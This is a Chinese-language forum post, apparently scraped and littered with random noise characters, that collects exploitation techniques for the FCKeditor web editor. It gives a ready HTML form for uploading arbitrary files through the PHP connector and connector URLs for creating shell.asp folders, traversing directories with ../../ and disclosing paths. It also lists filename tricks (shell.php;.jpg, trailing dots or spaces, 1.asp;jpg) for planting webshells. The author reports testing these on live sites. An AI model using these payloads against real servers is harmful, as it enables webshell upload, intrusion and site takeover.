Fckeditor漏洞利用总结 : \) c6 I) Y0 H" l) q# o
查看编辑器版本+ Q3 Z8 H" z$ I9 j
FCKeditor/_whatsnew.html
5 K( P0 t( f$ o6 X# ^3 ^—————————————————————————————————————————————————————————————
8 z1 @5 q) _* Z( m: a1 Q4 e8 o8 W& }! H. f' x# R+ z( P, `
2. Version 2.2 版本( S; e5 h) U$ [# c
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
3 x/ G2 f% E4 x Z—————————————————————————————————————————————————————————————2 O1 V; E, t7 u/ ?
5 c# w$ B' C5 K8 F" u- l
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。* \% F8 n* K3 G* [
<form id="frmUpload" enctype="multipart/form-data"
$ X3 @' c: h- Z4 B# \& Baction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>% A. [) T" Q" b# ~
<input type="file" name="NewFile" size="50"><br>" w3 d( e8 U7 b- e
<input id="btnUpload" type="submit" value="Upload">
9 x6 u8 G: i3 s$ b( j8 n3 p</form>
K n, Q. ~+ S) u+ ^7 C% ?0 _5 s—————————————————————————————————————————————————————————————
+ s! Z2 e8 H6 \# k! |: |: y
( j" H$ V9 x+ ^0 Z4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
! a" k4 w& [% J# K3 t0 A 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。- _/ g. ~. P' q2 w. {8 O
4.1:提交shell.php+空格绕过. b9 @3 U6 `2 S+ H
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
: k8 V, x+ V. v7 Q) [) L | 4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
1 k7 x1 j, V; T! |+ J8 m—————————————————————————————————————————————————————————————0 ~- [$ A D# U" ~% Q6 F5 y8 w+ g
1 ?0 Z0 v2 X% F9 [' l0 W5 c
5. 突破建立文件夹
8 Z, \7 Z& | vFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
& D' }6 j0 ]( e5 D# d; `% NFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp6 H! E2 T' R* O
—————————————————————————————————————————————————————————————# F* d' E1 p# i" S8 L
6 {" n9 H' Z5 Z2 c6. FCKeditor 中test 文件的上传地址$ A, g- B+ W' J) F" m4 j5 z
FCKeditor/editor/filemanager/browser/default/connectors/test.html
: D* J, s) `2 b' b, LFCKeditor/editor/filemanager/upload/test.html9 D5 X* b" M' p- @+ U
FCKeditor/editor/filemanager/connectors/test.html3 Z8 d# M' A. K. M! M- t
FCKeditor/editor/filemanager/connectors/uploadtest.html
" h! W, a# x' T" Y7 I& }$ P; H—————————————————————————————————————————————————————————————4 R6 [4 G: p. K9 N
3 B) }" |! q9 U1 R9 U7.常用上传地址
Y! G/ Q+ @) M& a- @3 [" B8 ?( d/ {FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/) W3 F6 f0 f% S8 K: |/ ?* S0 s7 z1 q
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp9 m2 E2 @: S7 i3 w( y
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
2 ~& H: B% R- VJSP 版:" D7 O2 _) [8 r5 O! ^
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp F7 ` ?- t6 A* }6 D3 Z! C
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
! q- F) n/ Y8 \! k3 T件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。. e c( }4 i4 f$ L
—————————————————————————————————————————————————————————————! H$ }7 ?( u% [
+ L3 ^. t8 ]! U v' }0 h
8.其他上传地址2 V8 _: N) j$ }+ K, T6 `
FCKeditor/_samples/default.html
. r+ e/ y4 R3 X8 OFCKeditor/_samples/asp/sample01.asp
- g5 i# c4 v- g$ OFCKeditor/_samples/asp/sample02.asp
$ u" i& I' k zFCKeditor/_samples/asp/sample03.asp
- ]; n9 \) J, _ c; G9 BFCKeditor/_samples/asp/sample04.asp* o4 ?0 ~) [5 D( S+ G' I
一般很多站点都已删除_samples 目录,可以试试。
- z; C y! o! D% ?FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。! S! z6 Z4 b/ ~/ _6 f4 z: D) v
—————————————————————————————————————————————————————————————
5 U% g" d( g4 y* f
5 r6 x/ m. _' @% T; k' w* G) \9.列目录漏洞也可助找上传地址$ m2 A- s. U$ l1 G' X# Y
Version 2.4.1 测试通过
9 v" Y0 i: _) P! s$ d8 P修改CurrentFolder 参数使用 ../../来进入不同的目录
5 w$ m" m, x2 ?% m/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp/ ^* S3 Q0 Z- s4 A/ A
根据返回的XML 信息可以查看网站所有的目录。
2 v9 |3 S' {+ ~- H# n" J4 _5 QFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
h6 c8 I, V4 m {* m也可以直接浏览盘符:& o7 g% b. Q# S4 R* D9 R# {3 t
JSP 版本:
. W7 H- L% C5 ^3 r& ?" MFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
- x C$ P$ k" S( a1 c, a- I$ j2 l—————————————————————————————————————————————————————————————
, \1 E" V1 E6 H( }" [# v8 L# C6 R4 y+ A9 ]
10.爆路径漏洞
0 p5 n+ S6 W9 ]1 J' aFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
6 G. l) M7 z' {7 d—————————————————————————————————————————————————————————————& }8 o3 W/ J. L
. R( P2 S* a4 J( J9 p' T. Z
11. FCKeditor 被动限制策略所导致的过滤不严问题
% a4 `4 Z# v. S6 C4 |' m 影响版本: FCKeditor x.x <= FCKeditor v2.4.3' g+ Z. }% W" Z4 F$ t2 D
脆弱描述:
: s; G8 `( m* }/ y$ `7 j& UFCKeditor v2.4.3 中File 类别默认拒绝上传类型:- K" @* J: O% h- N+ U
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
& I1 K1 D; Z, |2 U# g7 fFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!% q/ a+ i: ^! C* U; A
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。/ W W3 t! j Q, K9 i
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!( \8 P* X3 h6 l" K
—————————————————————————————————————————————————————————————' O3 k$ }7 n6 [6 Z2 B
# }' |1 ?/ S5 v: V3 f1 @9 n12.最古老的漏洞,Type文件没有限制!$ O2 }1 }; x7 h8 n' ~; p$ w8 r2 U4 h
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! 0 J: H& y& \# s$ G% t* i, a. ^9 y3 ?/ u8 W
—————————————————————————————————————————————————————————————9 s' @$ u9 M: F' f
* W+ T9 S$ E% _6 ~4 O===============================================================================================================================================
9 K0 g6 L% g$ c \. F; ?. F4 S% a5 v* ~) ^
FCK编辑器jsp版本漏洞:
! c7 e% y5 y: W# r; z9 W' u) i+ l5 d2 W
2 _5 P5 U& Z$ S/ lhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
9 k" P% G/ u Z/ O( {( h5 m# F" e9 T Z C/ ^# L; Q6 {
上传马所在目录
7 q% W) c% k6 v; h) F' ?, }! lFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/# d6 D& f4 [$ j: y5 g
上传shell的地址:
- N2 @& l% H4 x) c9 } P+ U' h, yhttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector: g- V+ `, U& V4 O% {2 _2 N
跟版本有关系.并不是百分百成功. 测试成功几个站.
% n) Z9 `2 a, m% m3 U+ c% ]2 I不能通杀.很遗憾.
' V+ `: q! i9 Z6 Thttp://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector2 q2 w# o: s( h0 T+ h
如果以上地址不行可以试试' ~+ H' N8 ^% i* ^ H, d5 m
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector6 ^0 |( ?$ t# E3 z# d& c
FCKeditor/_samples/# I* u! ?* P3 d, y+ q# q8 Z
FCKeditor/_samples/default.html6 P, O g: I9 _8 x
FCKeditor/editor/fckeditor.htm' q# B) V/ ~9 J8 d0 {+ s1 L
FCKeditor/editor/fckdialog.html
0 u9 L8 E( y% j2 ?% V/ S+ ]
8 L9 w5 ^; c; N3 ^7 w& R
. e; H8 s3 h- X0 h! }7 n
! l+ r X1 Q' g. h8 T; O" f7 h解析漏洞+未重命名文件时上传漏洞 1.asp;jpg9 i) J, p1 ^% k
|